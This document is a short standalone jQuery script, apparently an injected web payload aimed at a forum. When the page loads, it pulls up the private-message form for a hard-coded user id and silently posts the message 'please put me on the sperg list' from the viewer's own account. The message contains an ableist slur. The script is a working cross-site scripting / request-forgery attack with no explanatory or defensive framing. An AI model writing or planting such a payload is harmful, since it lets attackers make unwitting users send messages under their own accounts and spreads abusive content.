$(document).ready(function() {
    $.get('/pm.php?action=send&uid=1359582191').done( function(msg) {
        $('html').append(msg);
        var sThreadId = $('#send_thread_id').val();
        var sMessage = 'please put me on the sperg list';
        $.ajax({type:"POST",url:"pm.php",data:{action:"send_message",thread:sThreadId,message: sMessage},dataType:"json"});
    });
});